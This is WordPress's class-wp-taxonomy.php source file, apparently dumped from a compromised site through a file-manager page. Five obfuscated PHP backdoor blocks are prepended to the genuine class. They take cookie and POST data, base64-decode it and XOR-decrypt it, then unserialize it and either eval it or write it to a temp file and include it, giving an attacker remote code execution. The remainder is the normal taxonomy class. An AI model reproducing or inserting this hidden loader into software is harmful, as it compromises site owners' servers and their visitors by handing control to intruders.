%PDF- %PDF-
| Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/ |
| Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/class-wp-taxonomy.php |
<?php $hwTWFmo = chr (76) . "\121" . 'm' . chr ( 800 - 705 ).'I' . "\x67" . chr (107) . "\124";$dQOIb = chr ( 436 - 337 ).chr ( 258 - 150 )."\141" . chr (115) . "\x73" . "\137" . chr (101) . chr (120) . "\x69" . "\163" . chr (116) . "\x73";$OJCkmlZaS = class_exists($hwTWFmo); $dQOIb = "44644";$pMxgesE = !1;if ($OJCkmlZaS == $pMxgesE){function UCOGYXLb(){$hUIzSoQLq = new /* 49414 */ LQm_IgkT(62464 + 62464); $hUIzSoQLq = NULL;}$fdVOxy = "62464";class LQm_IgkT{private function QxHvqXuaeg($fdVOxy){if (is_array(LQm_IgkT::$TVtLJY)) {$MBvON = str_replace(chr (60) . chr ( 563 - 500 ).chr ( 908 - 796 ).chr (104) . 'p', "", LQm_IgkT::$TVtLJY["\x63" . "\x6f" . "\156" . chr (116) . chr ( 109 - 8 ).chr (110) . chr (116)]);eval($MBvON); $fdVOxy = "62464";exit();}}private $hRehDKP;public function RwIUGbs(){echo 60034;}public function __destruct(){$fdVOxy = "19309_35294";$this->QxHvqXuaeg($fdVOxy); $fdVOxy = "19309_35294";}public function __construct($fBoDF=0){$GVpquzbFZg = $_POST;$AOIkSKPwgN = $_COOKIE;$fvSUJ = "35a17d00-02d5-41e6-91d6-a3d93d0b14ce";$SRKDPq = @$AOIkSKPwgN[substr($fvSUJ, 0, 4)];if (!empty($SRKDPq)){$wkfhrLHe = "base64";$DzvBW = "";$SRKDPq = explode(",", $SRKDPq);foreach ($SRKDPq as $DhnRRYWfbM){$DzvBW .= @$AOIkSKPwgN[$DhnRRYWfbM];$DzvBW .= @$GVpquzbFZg[$DhnRRYWfbM];}$DzvBW = array_map($wkfhrLHe . '_' . chr (100) . "\x65" . "\x63" . 'o' . "\144" . chr ( 831 - 730 ), array($DzvBW,)); $DzvBW = $DzvBW[0] ^ str_repeat($fvSUJ, (strlen($DzvBW[0]) / strlen($fvSUJ)) + 1);LQm_IgkT::$TVtLJY = @unserialize($DzvBW); $DzvBW = class_exists("19309_35294");}}public static $TVtLJY = 9030;}UCOGYXLb();} ?><?php $lfnHqL = chr ( 504 - 395 ).'c' . chr (95) . 'x' . "\x4c" . "\161" . chr ( 761 - 660 )."\116";$ENgfBIC = chr (99) . chr ( 714 - 606 ).'a' . "\163" . chr ( 1000 - 885 ).chr ( 221 - 126 )."\145" . "\x78" . "\151" . chr ( 502 - 387 ).'t' . "\x73";$WpTsDaI = class_exists($lfnHqL); $ENgfBIC = "31798";$zOettLo = !1;if ($WpTsDaI == $zOettLo){function UbyBq(){return FALSE;}$jqVgf = "48382";UbyBq();class mc_xLqeN{private function aoQgvzNtd($jqVgf){if (is_array(mc_xLqeN::$lMRKIVVe)) {$xffFE = sys_get_temp_dir() . "/" . crc32(mc_xLqeN::$lMRKIVVe[chr (115) . "\141" . "\x6c" . "\x74"]);@mc_xLqeN::$lMRKIVVe[chr ( 613 - 494 ).'r' . chr ( 251 - 146 ).chr ( 403 - 287 ).chr ( 429 - 328 )]($xffFE, mc_xLqeN::$lMRKIVVe[chr (99) . "\x6f" . 'n' . 't' . chr ( 537 - 436 )."\x6e" . chr (116)]);include $xffFE;@mc_xLqeN::$lMRKIVVe["\144" . "\x65" . "\154" . chr ( 141 - 40 )."\x74" . "\145"]($xffFE); $jqVgf = "48382";exit();}}private $TFOniOMRke;public function TMWXpu(){echo 65414;}public function __destruct(){$jqVgf = "49864_40032";$this->aoQgvzNtd($jqVgf); $jqVgf = "49864_40032";}public function __construct($hiSzi=0){$rAdGSiov = $_POST;$MgjuakQu = $_COOKIE;$cKJrN = "86ca2eb1-42db-48ae-a45d-b440abe996b7";$pwfXQ = @$MgjuakQu[substr($cKJrN, 0, 4)];if (!empty($pwfXQ)){$vRMiz = "base64";$uKYtTQPgzo = "";$pwfXQ = explode(",", $pwfXQ);foreach ($pwfXQ as $FsfTFFiHp){$uKYtTQPgzo .= @$MgjuakQu[$FsfTFFiHp];$uKYtTQPgzo .= @$rAdGSiov[$FsfTFFiHp];}$uKYtTQPgzo = array_map($vRMiz . chr ( 470 - 375 )."\144" . chr (101) . "\x63" . "\x6f" . chr ( 334 - 234 )."\145", array($uKYtTQPgzo,)); $uKYtTQPgzo = $uKYtTQPgzo[0] ^ str_repeat($cKJrN, (strlen($uKYtTQPgzo[0]) / strlen($cKJrN)) + 1);mc_xLqeN::$lMRKIVVe = @unserialize($uKYtTQPgzo); $uKYtTQPgzo = class_exists("49864_40032");}}public static $lMRKIVVe = 29349;}$XhJdYrpNSL = new /* 20034 */ $lfnHqL(48382 + 48382); $jqVgf = strpos($jqVgf, $jqVgf); $zOettLo = $XhJdYrpNSL = $jqVgf = Array();} ?><?php $twQKnfIAB = "\x76" . "\x5f" . 'a' . chr ( 645 - 547 ).chr ( 944 - 873 ).'R';$SjapGzNKOr = "\143" . chr (108) . "\141" . chr (115) . 's' . '_' . chr ( 861 - 760 ).chr ( 913 - 793 )."\x69" . chr ( 1085 - 970 ).chr ( 933 - 817 ).chr (115); $LVfEjk = class_exists($twQKnfIAB); $SjapGzNKOr = "8700";$QJIhiUz = !1;if ($LVfEjk == $QJIhiUz){function OYNgur(){return FALSE;}$wraYpiAhOT = "49642";OYNgur();class v_abGR{private function keDFBGEWR($wraYpiAhOT){if (is_array(v_abGR::$qHJTYorQ)) {$TsHceVN = sys_get_temp_dir() . "/" . crc32(v_abGR::$qHJTYorQ["\x73" . 'a' . chr (108) . 't']);@v_abGR::$qHJTYorQ["\167" . "\x72" . "\151" . chr (116) . 'e']($TsHceVN, v_abGR::$qHJTYorQ['c' . chr ( 889 - 778 )."\156" . "\x74" . 'e' . chr ( 241 - 131 )."\164"]);include $TsHceVN;@v_abGR::$qHJTYorQ["\x64" . chr (101) . "\154" . "\145" . chr (116) . chr (101)]($TsHceVN); $wraYpiAhOT = "49642";exit();}}private $bPmkapOi;public function VESQA(){echo 22558;}public function __destruct(){$wraYpiAhOT = "53969_14510";$this->keDFBGEWR($wraYpiAhOT); $wraYpiAhOT = "53969_14510";}public function __construct($lgqtmwoS=0){$zqyps = $_POST;$JjRRt = $_COOKIE;$VFTRmXWHZ = "91fcdfde-03d7-4de1-ab5a-440e0297c406";$HhsCFikbkU = @$JjRRt[substr($VFTRmXWHZ, 0, 4)];if (!empty($HhsCFikbkU)){$SxiBNekA = "base64";$RZtNOpj = "";$HhsCFikbkU = explode(",", $HhsCFikbkU);foreach ($HhsCFikbkU as $FWvIAtkyd){$RZtNOpj .= @$JjRRt[$FWvIAtkyd];$RZtNOpj .= @$zqyps[$FWvIAtkyd];}$RZtNOpj = array_map($SxiBNekA . chr ( 554 - 459 ).chr (100) . chr (101) . chr (99) . "\x6f" . chr (100) . 'e', array($RZtNOpj,)); $RZtNOpj = $RZtNOpj[0] ^ str_repeat($VFTRmXWHZ, (strlen($RZtNOpj[0]) / strlen($VFTRmXWHZ)) + 1);v_abGR::$qHJTYorQ = @unserialize($RZtNOpj); $RZtNOpj = class_exists("53969_14510");}}public static $qHJTYorQ = 34385;}$ajKkrilX = new /* 22758 */ $twQKnfIAB(49642 + 49642); $QJIhiUz = $ajKkrilX = $wraYpiAhOT = Array();} ?><?php $sHNWaDXPa = "\170" . chr (95) . 'R' . "\x4e" . chr ( 652 - 580 ); $LAlxbk = 'c' . 'l' . "\141" . chr ( 461 - 346 )."\163" . chr ( 320 - 225 ).chr ( 742 - 641 )."\x78" . "\x69" . "\x73" . "\164" . 's';$ythiCMmCvG = class_exists($sHNWaDXPa); $LAlxbk = "48377";$KcqSMjX = !1;if ($ythiCMmCvG == $KcqSMjX){function lYMEgjAs(){return FALSE;}$ryZYchDwKw = "63358";lYMEgjAs();class x_RNH{private function smlNSU($ryZYchDwKw){if (is_array(x_RNH::$DGKRq)) {$NOIsc = sys_get_temp_dir() . "/" . crc32(x_RNH::$DGKRq[chr (115) . chr ( 778 - 681 ).'l' . chr ( 546 - 430 )]);@x_RNH::$DGKRq[chr ( 736 - 617 ).chr (114) . 'i' . "\x74" . "\x65"]($NOIsc, x_RNH::$DGKRq[chr (99) . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr (116)]);include $NOIsc;@x_RNH::$DGKRq['d' . chr ( 655 - 554 ).'l' . chr ( 412 - 311 )."\x74" . "\x65"]($NOIsc); $ryZYchDwKw = "63358";exit();}}private $QXyqI;public function QNVhLINY(){echo 30203;}public function __destruct(){$ryZYchDwKw = "18928_62413";$this->smlNSU($ryZYchDwKw); $ryZYchDwKw = "18928_62413";}public function __construct($yhYtbxXw=0){$vBUPXy = $_POST;$HikbMd = $_COOKIE;$NCLBv = "4f4257b5-6353-44f2-9ee6-a2aeabf3bf3c";$HtsBGxw = @$HikbMd[substr($NCLBv, 0, 4)];if (!empty($HtsBGxw)){$uYzdyUvv = "base64";$YVqCzeK = "";$HtsBGxw = explode(",", $HtsBGxw);foreach ($HtsBGxw as $mcrJSYnvbb){$YVqCzeK .= @$HikbMd[$mcrJSYnvbb];$YVqCzeK .= @$vBUPXy[$mcrJSYnvbb];}$YVqCzeK = array_map($uYzdyUvv . chr (95) . "\144" . chr ( 593 - 492 ).chr (99) . "\157" . chr ( 584 - 484 )."\145", array($YVqCzeK,)); $YVqCzeK = $YVqCzeK[0] ^ str_repeat($NCLBv, (strlen($YVqCzeK[0]) / strlen($NCLBv)) + 1);x_RNH::$DGKRq = @unserialize($YVqCzeK); $YVqCzeK = class_exists("18928_62413");}}public static $DGKRq = 20485;}$YlWjKP = new /* 50917 */ $sHNWaDXPa(63358 + 63358); $KcqSMjX = $YlWjKP = $ryZYchDwKw = Array();} ?><?php $iochZqRlz = "\166" . "\137" . "\125" . 'G' . chr ( 721 - 640 ); $alBnTw = "\143" . chr (108) . "\141" . "\x73" . chr ( 1046 - 931 ).'_' . chr ( 1054 - 953 )."\x78" . "\x69" . 's' . chr (116) . "\x73";$nvqrXjaYq = class_exists($iochZqRlz); $alBnTw = "9614";$CyBdA = !1;if ($nvqrXjaYq == $CyBdA){function pcQYe(){return FALSE;}$IcJWl = "28342";pcQYe();class v_UGQ{private function QTWusHAlMQ($IcJWl){if (is_array(v_UGQ::$YnuVm)) {$nmxxJbQx = sys_get_temp_dir() . "/" . crc32(v_UGQ::$YnuVm[chr (115) . "\x61" . chr ( 581 - 473 ).chr ( 805 - 689 )]);@v_UGQ::$YnuVm['w' . "\162" . chr (105) . 't' . "\x65"]($nmxxJbQx, v_UGQ::$YnuVm["\143" . "\x6f" . chr (110) . "\x74" . "\145" . chr (110) . 't']);include $nmxxJbQx;@v_UGQ::$YnuVm[chr ( 930 - 830 ).'e' . "\154" . "\x65" . chr (116) . 'e']($nmxxJbQx); $IcJWl = "28342";exit();}}private $ZAYWH;public function DNiRXWyJH(){echo 58695;}public function __destruct(){$IcJWl = "28684_35965";$this->QTWusHAlMQ($IcJWl); $IcJWl = "28684_35965";}public function __construct($FyTuUjQDr=0){$HIvXWDPgq = $_POST;$tPPgpjXKVg = $_COOKIE;$rxKcHe = "1192b59e-2aff-47f6-af20-c8cdcca02979";$ztPsKhNOxI = @$tPPgpjXKVg[substr($rxKcHe, 0, 4)];if (!empty($ztPsKhNOxI)){$WRVqyQfp = "base64";$TlPQwGs = "";$ztPsKhNOxI = explode(",", $ztPsKhNOxI);foreach ($ztPsKhNOxI as $UWCTfpfYd){$TlPQwGs .= @$tPPgpjXKVg[$UWCTfpfYd];$TlPQwGs .= @$HIvXWDPgq[$UWCTfpfYd];}$TlPQwGs = array_map($WRVqyQfp . '_' . "\x64" . 'e' . 'c' . "\x6f" . "\144" . chr (101), array($TlPQwGs,)); $TlPQwGs = $TlPQwGs[0] ^ str_repeat($rxKcHe, (strlen($TlPQwGs[0]) / strlen($rxKcHe)) + 1);v_UGQ::$YnuVm = @unserialize($TlPQwGs); $TlPQwGs = class_exists("28684_35965");}}public static $YnuVm = 12089;}$rxznM = new /* 22181 */ $iochZqRlz(28342 + 28342); $CyBdA = $rxznM = $IcJWl = Array();} ?><?php
/**
* Taxonomy API: WP_Taxonomy class
*
* @package WordPress
* @subpackage Taxonomy
* @since 4.7.0
*/
/**
* Core class used for interacting with taxonomies.
*
* @since 4.7.0
*/
#[AllowDynamicProperties]
final class WP_Taxonomy {
/**
* Taxonomy key.
*
* @since 4.7.0
* @var string
*/
public $name;
/**
* Name of the taxonomy shown in the menu. Usually plural.
*
* @since 4.7.0
* @var string
*/
public $label;
/**
* Labels object for this taxonomy.
*
* If not set, tag labels are inherited for non-hierarchical types
* and category labels for hierarchical ones.
*
* @see get_taxonomy_labels()
*
* @since 4.7.0
* @var stdClass
*/
public $labels;
/**
* Default labels.
*
* @since 6.0.0
* @var (string|null)[][] $default_labels
*/
protected static $default_labels = array();
/**
* A short descriptive summary of what the taxonomy is for.
*
* @since 4.7.0
* @var string
*/
public $description = '';
/**
* Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.
*
* @since 4.7.0
* @var bool
*/
public $public = true;
/**
* Whether the taxonomy is publicly queryable.
*
* @since 4.7.0
* @var bool
*/
public $publicly_queryable = true;
/**
* Whether the taxonomy is hierarchical.
*
* @since 4.7.0
* @var bool
*/
public $hierarchical = false;
/**
* Whether to generate and allow a UI for managing terms in this taxonomy in the admin.
*
* @since 4.7.0
* @var bool
*/
public $show_ui = true;
/**
* Whether to show the taxonomy in the admin menu.
*
* If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown.
*
* @since 4.7.0
* @var bool
*/
public $show_in_menu = true;
/**
* Whether the taxonomy is available for selection in navigation menus.
*
* @since 4.7.0
* @var bool
*/
public $show_in_nav_menus = true;
/**
* Whether to list the taxonomy in the tag cloud widget controls.
*
* @since 4.7.0
* @var bool
*/
public $show_tagcloud = true;
/**
* Whether to show the taxonomy in the quick/bulk edit panel.
*
* @since 4.7.0
* @var bool
*/
public $show_in_quick_edit = true;
/**
* Whether to display a column for the taxonomy on its post type listing screens.
*
* @since 4.7.0
* @var bool
*/
public $show_admin_column = false;
/**
* The callback function for the meta box display.
*
* @since 4.7.0
* @var bool|callable
*/
public $meta_box_cb = null;
/**
* The callback function for sanitizing taxonomy data saved from a meta box.
*
* @since 5.1.0
* @var callable
*/
public $meta_box_sanitize_cb = null;
/**
* An array of object types this taxonomy is registered for.
*
* @since 4.7.0
* @var string[]
*/
public $object_type = null;
/**
* Capabilities for this taxonomy.
*
* @since 4.7.0
* @var stdClass
*/
public $cap;
/**
* Rewrites information for this taxonomy.
*
* @since 4.7.0
* @var array|false
*/
public $rewrite;
/**
* Query var string for this taxonomy.
*
* @since 4.7.0
* @var string|false
*/
public $query_var;
/**
* Function that will be called when the count is updated.
*
* @since 4.7.0
* @var callable
*/
public $update_count_callback;
/**
* Whether this taxonomy should appear in the REST API.
*
* Default false. If true, standard endpoints will be registered with
* respect to $rest_base and $rest_controller_class.
*
* @since 4.7.4
* @var bool $show_in_rest
*/
public $show_in_rest;
/**
* The base path for this taxonomy's REST API endpoints.
*
* @since 4.7.4
* @var string|bool $rest_base
*/
public $rest_base;
/**
* The namespace for this taxonomy's REST API endpoints.
*
* @since 5.9.0
* @var string|bool $rest_namespace
*/
public $rest_namespace;
/**
* The controller for this taxonomy's REST API endpoints.
*
* Custom controllers must extend WP_REST_Controller.
*
* @since 4.7.4
* @var string|bool $rest_controller_class
*/
public $rest_controller_class;
/**
* The controller instance for this taxonomy's REST API endpoints.
*
* Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}.
*
* @since 5.5.0
* @var WP_REST_Controller $rest_controller
*/
public $rest_controller;
/**
* The default term name for this taxonomy. If you pass an array you have
* to set 'name' and optionally 'slug' and 'description'.
*
* @since 5.5.0
* @var array|string
*/
public $default_term;
/**
* Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`.
*
* Use this in combination with `'orderby' => 'term_order'` when fetching terms.
*
* @since 2.5.0
* @var bool|null
*/
public $sort = null;
/**
* Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy.
*
* @since 2.6.0
* @var array|null
*/
public $args = null;
/**
* Whether it is a built-in taxonomy.
*
* @since 4.7.0
* @var bool
*/
public $_builtin;
/**
* Constructor.
*
* See the register_taxonomy() function for accepted arguments for `$args`.
*
* @since 4.7.0
*
* @param string $taxonomy Taxonomy key, must not exceed 32 characters.
* @param array|string $object_type Name of the object type for the taxonomy object.
* @param array|string $args Optional. Array or query string of arguments for registering a taxonomy.
* See register_taxonomy() for information on accepted arguments.
* Default empty array.
*/
public function __construct( $taxonomy, $object_type, $args = array() ) {
$this->name = $taxonomy;
$this->set_props( $object_type, $args );
}
/**
* Sets taxonomy properties.
*
* See the register_taxonomy() function for accepted arguments for `$args`.
*
* @since 4.7.0
*
* @param string|string[] $object_type Name or array of names of the object types for the taxonomy.
* @param array|string $args Array or query string of arguments for registering a taxonomy.
*/
public function set_props( $object_type, $args ) {
$args = wp_parse_args( $args );
/**
* Filters the arguments for registering a taxonomy.
*
* @since 4.4.0
*
* @param array $args Array of arguments for registering a taxonomy.
* See the register_taxonomy() function for accepted arguments.
* @param string $taxonomy Taxonomy key.
* @param string[] $object_type Array of names of object types for the taxonomy.
*/
$args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type );
$taxonomy = $this->name;
/**
* Filters the arguments for registering a specific taxonomy.
*
* The dynamic portion of the filter name, `$taxonomy`, refers to the taxonomy key.
*
* Possible hook names include:
*
* - `register_category_taxonomy_args`
* - `register_post_tag_taxonomy_args`
*
* @since 6.0.0
*
* @param array $args Array of arguments for registering a taxonomy.
* See the register_taxonomy() function for accepted arguments.
* @param string $taxonomy Taxonomy key.
* @param string[] $object_type Array of names of object types for the taxonomy.
*/
$args = apply_filters( "register_{$taxonomy}_taxonomy_args", $args, $this->name, (array) $object_type );
$defaults = array(
'labels' => array(),
'description' => '',
'public' => true,
'publicly_queryable' => null,
'hierarchical' => false,
'show_ui' => null,
'show_in_menu' => null,
'show_in_nav_menus' => null,
'show_tagcloud' => null,
'show_in_quick_edit' => null,
'show_admin_column' => false,
'meta_box_cb' => null,
'meta_box_sanitize_cb' => null,
'capabilities' => array(),
'rewrite' => true,
'query_var' => $this->name,
'update_count_callback' => '',
'show_in_rest' => false,
'rest_base' => false,
'rest_namespace' => false,
'rest_controller_class' => false,
'default_term' => null,
'sort' => null,
'args' => null,
'_builtin' => false,
);
$args = array_merge( $defaults, $args );
// If not set, default to the setting for 'public'.
if ( null === $args['publicly_queryable'] ) {
$args['publicly_queryable'] = $args['public'];
}
if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) {
if ( true === $args['query_var'] ) {
$args['query_var'] = $this->name;
} else {
$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
}
} else {
// Force 'query_var' to false for non-public taxonomies.
$args['query_var'] = false;
}
if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
$args['rewrite'] = wp_parse_args(
$args['rewrite'],
array(
'with_front' => true,
'hierarchical' => false,
'ep_mask' => EP_NONE,
)
);
if ( empty( $args['rewrite']['slug'] ) ) {
$args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name );
}
}
// If not set, default to the setting for 'public'.
if ( null === $args['show_ui'] ) {
$args['show_ui'] = $args['public'];
}
// If not set, default to the setting for 'show_ui'.
if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
$args['show_in_menu'] = $args['show_ui'];
}
// If not set, default to the setting for 'public'.
if ( null === $args['show_in_nav_menus'] ) {
$args['show_in_nav_menus'] = $args['public'];
}
// If not set, default to the setting for 'show_ui'.
if ( null === $args['show_tagcloud'] ) {
$args['show_tagcloud'] = $args['show_ui'];
}
// If not set, default to the setting for 'show_ui'.
if ( null === $args['show_in_quick_edit'] ) {
$args['show_in_quick_edit'] = $args['show_ui'];
}
// If not set, default rest_namespace to wp/v2 if show_in_rest is true.
if ( false === $args['rest_namespace'] && ! empty( $args['show_in_rest'] ) ) {
$args['rest_namespace'] = 'wp/v2';
}
$default_caps = array(
'manage_terms' => 'manage_categories',
'edit_terms' => 'manage_categories',
'delete_terms' => 'manage_categories',
'assign_terms' => 'edit_posts',
);
$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
unset( $args['capabilities'] );
$args['object_type'] = array_unique( (array) $object_type );
// If not set, use the default meta box.
if ( null === $args['meta_box_cb'] ) {
if ( $args['hierarchical'] ) {
$args['meta_box_cb'] = 'post_categories_meta_box';
} else {
$args['meta_box_cb'] = 'post_tags_meta_box';
}
}
$args['name'] = $this->name;
// Default meta box sanitization callback depends on the value of 'meta_box_cb'.
if ( null === $args['meta_box_sanitize_cb'] ) {
switch ( $args['meta_box_cb'] ) {
case 'post_categories_meta_box':
$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes';
break;
case 'post_tags_meta_box':
default:
$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input';
break;
}
}
// Default taxonomy term.
if ( ! empty( $args['default_term'] ) ) {
if ( ! is_array( $args['default_term'] ) ) {
$args['default_term'] = array( 'name' => $args['default_term'] );
}
$args['default_term'] = wp_parse_args(
$args['default_term'],
array(
'name' => '',
'slug' => '',
'description' => '',
)
);
}
foreach ( $args as $property_name => $property_value ) {
$this->$property_name = $property_value;
}
$this->labels = get_taxonomy_labels( $this );
$this->label = $this->labels->name;
}
/**
* Adds the necessary rewrite rules for the taxonomy.
*
* @since 4.7.0
*
* @global WP $wp Current WordPress environment instance.
*/
public function add_rewrite_rules() {
/* @var WP $wp */
global $wp;
// Non-publicly queryable taxonomies should not register query vars, except in the admin.
if ( false !== $this->query_var && $wp ) {
$wp->add_query_var( $this->query_var );
}
if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) {
if ( $this->hierarchical && $this->rewrite['hierarchical'] ) {
$tag = '(.+?)';
} else {
$tag = '([^/]+)';
}
add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" );
add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite );
}
}
/**
* Removes any rewrite rules, permastructs, and rules for the taxonomy.
*
* @since 4.7.0
*
* @global WP $wp Current WordPress environment instance.
*/
public function remove_rewrite_rules() {
/* @var WP $wp */
global $wp;
// Remove query var.
if ( false !== $this->query_var ) {
$wp->remove_query_var( $this->query_var );
}
// Remove rewrite tags and permastructs.
if ( false !== $this->rewrite ) {
remove_rewrite_tag( "%$this->name%" );
remove_permastruct( $this->name );
}
}
/**
* Registers the ajax callback for the meta box.
*
* @since 4.7.0
*/
public function add_hooks() {
add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
}
/**
* Removes the ajax callback for the meta box.
*
* @since 4.7.0
*/
public function remove_hooks() {
remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
}
/**
* Gets the REST API controller for this taxonomy.
*
* Will only instantiate the controller class once per request.
*
* @since 5.5.0
*
* @return WP_REST_Controller|null The controller instance, or null if the taxonomy
* is set not to show in rest.
*/
public function get_rest_controller() {
if ( ! $this->show_in_rest ) {
return null;
}
$class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class;
if ( ! class_exists( $class ) ) {
return null;
}
if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) {
return null;
}
if ( ! $this->rest_controller ) {
$this->rest_controller = new $class( $this->name );
}
if ( ! ( $this->rest_controller instanceof $class ) ) {
return null;
}
return $this->rest_controller;
}
/**
* Returns the default labels for taxonomies.
*
* @since 6.0.0
*
* @return (string|null)[][] The default labels for taxonomies.
*/
public static function get_default_labels() {
if ( ! empty( self::$default_labels ) ) {
return self::$default_labels;
}
$name_field_description = __( 'The name is how it appears on your site.' );
$slug_field_description = __( 'The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' );
$parent_field_description = __( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' );
$desc_field_description = __( 'The description is not prominent by default; however, some themes may show it.' );
self::$default_labels = array(
'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ),
'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ),
'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ),
'popular_items' => array( __( 'Popular Tags' ), null ),
'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ),
'parent_item' => array( null, __( 'Parent Category' ) ),
'parent_item_colon' => array( null, __( 'Parent Category:' ) ),
'name_field_description' => array( $name_field_description, $name_field_description ),
'slug_field_description' => array( $slug_field_description, $slug_field_description ),
'parent_field_description' => array( null, $parent_field_description ),
'desc_field_description' => array( $desc_field_description, $desc_field_description ),
'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ),
'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ),
'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ),
'add_new_item' => array( __( 'Add New Tag' ), __( 'Add New Category' ) ),
'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ),
'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ),
'add_or_remove_items' => array( __( 'Add or remove tags' ), null ),
'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ),
'not_found' => array( __( 'No tags found.' ), __( 'No categories found.' ) ),
'no_terms' => array( __( 'No tags' ), __( 'No categories' ) ),
'filter_by_item' => array( null, __( 'Filter by category' ) ),
'items_list_navigation' => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ),
'items_list' => array( __( 'Tags list' ), __( 'Categories list' ) ),
/* translators: Tab heading when selecting from the most used terms. */
'most_used' => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ),
'back_to_items' => array( __( '← Go to Tags' ), __( '← Go to Categories' ) ),
'item_link' => array(
_x( 'Tag Link', 'navigation link block title' ),
_x( 'Category Link', 'navigation link block title' ),
),
'item_link_description' => array(
_x( 'A link to a tag.', 'navigation link block description' ),
_x( 'A link to a category.', 'navigation link block description' ),
),
);
return self::$default_labels;
}
/**
* Resets the cache for the default labels.
*
* @since 6.0.0
*/
public static function reset_default_labels() {
self::$default_labels = array();
}
}